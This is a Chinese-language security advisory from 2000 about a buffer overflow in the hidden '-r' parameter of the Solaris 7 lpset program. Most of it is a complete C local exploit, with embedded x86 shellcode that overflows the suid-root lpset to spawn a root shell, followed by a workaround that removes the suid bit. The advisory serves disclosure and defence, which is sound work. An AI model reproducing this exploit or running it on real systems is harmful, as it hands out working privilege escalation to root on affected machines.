Solaris lpset -r 缓冲区溢出漏洞
发布日期:2000-04-26
更新日期:2000-04-26
受影响系统:Sun Solaris 7.0_x86
Sun Solaris 7.0 SPARC
描述:
Solaris 7.0的lpset程序在处理"-r"参数的时候存在一个缓冲区溢出漏洞。这个"-r"参数是
个隐藏参数,手册中找不到关于它的用法。但是,当提供给它一个包含可执行代码的buffer
时,有可能使它溢出并执行任意命令。缺省lpset被设置了suid root,但lpset只允许root以
及sysadmin组的用户执行,,因此只有sysadmin组的用户可能利用这个漏洞获取root权限。
<* 来源:Theodor Ragnar Gislason <teddi@linux.is> *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
*
* solaris 2.7 lpset local exploit, i386.
* discovered by: duke
* not the same as on bt.
* if exploit dosen磘 work try offset from 300-450
*
* greets: duke, #!ADM, #!security.is, #hax
*
* DiGiT - teddi@linux.is
*
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] =
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
long get_esp() { __asm__("movl %esp,%eax"); }
int main (int argc, char *argv[]) {
long offset=410;
int nop=64;
int gab=40;
long addr;
char buffer[210];
int i, a, b;
if (argc > 1) offset = strtol(argv[1], NULL, 0);
if (argc > 2) gab = strtol(argv[2], NULL, 0);
if (argc > 3) nop = strtol(argv[2], NULL, 0);
for (a = 0; a <gab; a++)
buffer[a] = 'A';
addr = get_esp() + offset;
buffer[a++] = addr & 0x000000ff;
buffer[a++] = (addr & 0x0000ff00) >> 8;
buffer[a++] = (addr & 0x00ff0000) >> 16;
buffer[a++] = (addr & 0xff000000) >> 24;
for ( ; a < nop; a++)
buffer[a] = 0x90;
for (b = 0; b < strlen(shellcode); b++, a++)
buffer[a] = shellcode[b];
buffer[strlen(buffer)] = '\0';
printf("addr = 0x%x\n", addr);
execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);
}
建议:
临时解决方法: chmod u-s `which lpset`
浏览次数:5983
严重程度:0(网友投票)